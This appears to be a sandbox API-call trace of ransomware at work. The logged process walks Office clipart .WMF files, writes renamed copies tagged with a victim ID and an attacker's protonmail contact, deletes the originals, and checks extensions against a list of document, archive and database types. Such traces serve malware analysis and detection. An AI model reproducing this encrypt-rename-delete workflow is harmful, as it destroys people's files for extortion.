	[0171.475] WriteFile (in: hFile=0x4a4, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x2d50, lpOverlapped=0x0) returned 1
	[0171.476] ReadFile (in: hFile=0x4a8, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.476] WriteFile (in: hFile=0x4a4, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.476] SetEndOfFile (hFile=0x4a4) returned 1
	[0171.476] CloseHandle (hObject=0x4a4) returned 1
	[0171.476] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.476] SetEndOfFile (hFile=0x4a8) returned 1
	[0171.479] CloseHandle (hObject=0x4a8) returned 1
	[0171.479] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0171.480] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf")) returned 1
	[0171.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68
	[0171.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68
	[0171.480] lstrlenW (lpString=".doc") returned 4
	[0171.480] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.480] lstrlenW (lpString=".docx") returned 5
	[0171.480] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0171.480] lstrlenW (lpString=".pdf") returned 4
	[0171.480] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.481] lstrlenW (lpString=".xls") returned 4
	[0171.481] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.481] lstrlenW (lpString=".xlsx") returned 5
	[0171.481] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0171.481] lstrlenW (lpString=".ppt") returned 4
	[0171.481] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68
	[0171.481] lstrlenW (lpString=".zip") returned 4
	[0171.481] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.481] lstrlenW (lpString=".rar") returned 4
	[0171.481] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.481] lstrlenW (lpString=".bz2") returned 4
	[0171.481] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.481] lstrlenW (lpString=".7z") returned 3
	[0171.481] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68
	[0171.481] lstrlenW (lpString=".dbf") returned 4
	[0171.481] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68
	[0171.481] lstrlenW (lpString=".1cd") returned 4
	[0171.481] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68
	[0171.481] lstrlenW (lpString=".jpg") returned 4
	[0171.481] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68
	[0171.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68
	[0171.481] lstrlenW (lpString=".doc") returned 4
	[0171.481] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.481] lstrlenW (lpString=".docx") returned 5
	[0171.481] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0171.481] lstrlenW (lpString=".pdf") returned 4
	[0171.481] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.482] lstrlenW (lpString=".xls") returned 4
	[0171.482] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.482] lstrlenW (lpString=".xlsx") returned 5
	[0171.482] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0171.482] lstrlenW (lpString=".ppt") returned 4
	[0171.482] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68
	[0171.482] lstrlenW (lpString=".zip") returned 4
	[0171.482] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.482] lstrlenW (lpString=".rar") returned 4
	[0171.482] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.482] lstrlenW (lpString=".bz2") returned 4
	[0171.482] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.482] lstrlenW (lpString=".7z") returned 3
	[0171.482] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68
	[0171.482] lstrlenW (lpString=".dbf") returned 4
	[0171.482] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68
	[0171.482] lstrlenW (lpString=".1cd") returned 4
	[0171.482] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68
	[0171.482] lstrlenW (lpString=".jpg") returned 4
	[0171.482] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.482] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0171.483] lstrlenW (lpString="J0105396.WMF") returned 12
	[0171.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0171.484] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=11012) returned 1
	[0171.484] CloseHandle (hObject=0x4a8) returned 1
	[0171.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf")) returned 0x220
	[0171.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0171.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0171.485] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.485] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0171.486] GetLastError () returned 0x0
	[0171.486] ReadFile (in: hFile=0x4a8, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x2b04, lpOverlapped=0x0) returned 1
	[0171.489] WriteFile (in: hFile=0x4a4, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x2b10, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x2b10, lpOverlapped=0x0) returned 1
	[0171.491] ReadFile (in: hFile=0x4a8, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.491] WriteFile (in: hFile=0x4a4, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.491] SetEndOfFile (hFile=0x4a4) returned 1
	[0171.491] CloseHandle (hObject=0x4a4) returned 1
	[0171.491] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.491] SetEndOfFile (hFile=0x4a8) returned 1
	[0171.494] CloseHandle (hObject=0x4a8) returned 1
	[0171.494] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0171.494] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf")) returned 1
	[0171.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68
	[0171.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68
	[0171.495] lstrlenW (lpString=".doc") returned 4
	[0171.495] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.495] lstrlenW (lpString=".docx") returned 5
	[0171.495] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0171.495] lstrlenW (lpString=".pdf") returned 4
	[0171.495] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.495] lstrlenW (lpString=".xls") returned 4
	[0171.495] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.495] lstrlenW (lpString=".xlsx") returned 5
	[0171.495] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0171.495] lstrlenW (lpString=".ppt") returned 4
	[0171.495] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68
	[0171.496] lstrlenW (lpString=".zip") returned 4
	[0171.496] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.496] lstrlenW (lpString=".rar") returned 4
	[0171.496] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.496] lstrlenW (lpString=".bz2") returned 4
	[0171.496] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.496] lstrlenW (lpString=".7z") returned 3
	[0171.496] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68
	[0171.496] lstrlenW (lpString=".dbf") returned 4
	[0171.496] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68
	[0171.496] lstrlenW (lpString=".1cd") returned 4
	[0171.496] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68
	[0171.496] lstrlenW (lpString=".jpg") returned 4
	[0171.496] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68
	[0171.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68
	[0171.496] lstrlenW (lpString=".doc") returned 4
	[0171.496] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.496] lstrlenW (lpString=".docx") returned 5
	[0171.496] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0171.496] lstrlenW (lpString=".pdf") returned 4
	[0171.496] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.496] lstrlenW (lpString=".xls") returned 4
	[0171.496] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.496] lstrlenW (lpString=".xlsx") returned 5
	[0171.496] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0171.496] lstrlenW (lpString=".ppt") returned 4
	[0171.497] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68
	[0171.497] lstrlenW (lpString=".zip") returned 4
	[0171.497] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.497] lstrlenW (lpString=".rar") returned 4
	[0171.497] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.497] lstrlenW (lpString=".bz2") returned 4
	[0171.497] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.497] lstrlenW (lpString=".7z") returned 3
	[0171.497] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68
	[0171.497] lstrlenW (lpString=".dbf") returned 4
	[0171.497] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68
	[0171.497] lstrlenW (lpString=".1cd") returned 4
	[0171.497] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68
	[0171.497] lstrlenW (lpString=".jpg") returned 4
	[0171.497] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.497] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0171.497] lstrlenW (lpString="J0105398.WMF") returned 12
	[0171.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0171.498] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=3328) returned 1
	[0171.498] CloseHandle (hObject=0x4a8) returned 1
	[0171.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf")) returned 0x220
	[0171.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0171.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0171.499] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.499] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0171.500] GetLastError () returned 0x0
	[0171.500] ReadFile (in: hFile=0x4a8, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0xd00, lpOverlapped=0x0) returned 1
	[0171.502] WriteFile (in: hFile=0x4a4, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xd10, lpOverlapped=0x0) returned 1
	[0171.503] ReadFile (in: hFile=0x4a8, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.503] WriteFile (in: hFile=0x4a4, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.503] SetEndOfFile (hFile=0x4a4) returned 1
	[0171.504] CloseHandle (hObject=0x4a4) returned 1
	[0171.504] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.504] SetEndOfFile (hFile=0x4a8) returned 1
	[0171.507] CloseHandle (hObject=0x4a8) returned 1
	[0171.508] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0171.508] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf")) returned 1
	[0171.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68
	[0171.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68
	[0171.509] lstrlenW (lpString=".doc") returned 4
	[0171.509] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.509] lstrlenW (lpString=".docx") returned 5
	[0171.509] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0171.509] lstrlenW (lpString=".pdf") returned 4
	[0171.509] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.509] lstrlenW (lpString=".xls") returned 4
	[0171.509] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.509] lstrlenW (lpString=".xlsx") returned 5
	[0171.509] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0171.509] lstrlenW (lpString=".ppt") returned 4
	[0171.509] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68
	[0171.509] lstrlenW (lpString=".zip") returned 4
	[0171.509] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.509] lstrlenW (lpString=".rar") returned 4
	[0171.509] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.509] lstrlenW (lpString=".bz2") returned 4
	[0171.509] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.509] lstrlenW (lpString=".7z") returned 3
	[0171.509] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68
	[0171.509] lstrlenW (lpString=".dbf") returned 4
	[0171.509] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68
	[0171.510] lstrlenW (lpString=".1cd") returned 4
	[0171.510] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68
	[0171.510] lstrlenW (lpString=".jpg") returned 4
	[0171.510] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68
	[0171.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68
	[0171.510] lstrlenW (lpString=".doc") returned 4
	[0171.510] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.510] lstrlenW (lpString=".docx") returned 5
	[0171.510] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0171.510] lstrlenW (lpString=".pdf") returned 4
	[0171.510] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.510] lstrlenW (lpString=".xls") returned 4
	[0171.510] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.510] lstrlenW (lpString=".xlsx") returned 5
	[0171.510] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0171.510] lstrlenW (lpString=".ppt") returned 4
	[0171.510] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68
	[0171.510] lstrlenW (lpString=".zip") returned 4
	[0171.510] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.510] lstrlenW (lpString=".rar") returned 4
	[0171.510] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.510] lstrlenW (lpString=".bz2") returned 4
	[0171.510] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.510] lstrlenW (lpString=".7z") returned 3
	[0171.510] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68
	[0171.510] lstrlenW (lpString=".dbf") returned 4
	[0171.510] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68
	[0171.511] lstrlenW (lpString=".1cd") returned 4
	[0171.511] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68
	[0171.511] lstrlenW (lpString=".jpg") returned 4
	[0171.511] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.511] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0171.511] lstrlenW (lpString="J0105410.WMF") returned 12
	[0171.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0171.512] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=20444) returned 1
	[0171.512] CloseHandle (hObject=0x4a8) returned 1
	[0171.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf")) returned 0x220
	[0171.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0171.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0171.512] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.513] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0171.513] GetLastError () returned 0x0
	[0171.513] ReadFile (in: hFile=0x4a8, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x4fdc, lpOverlapped=0x0) returned 1
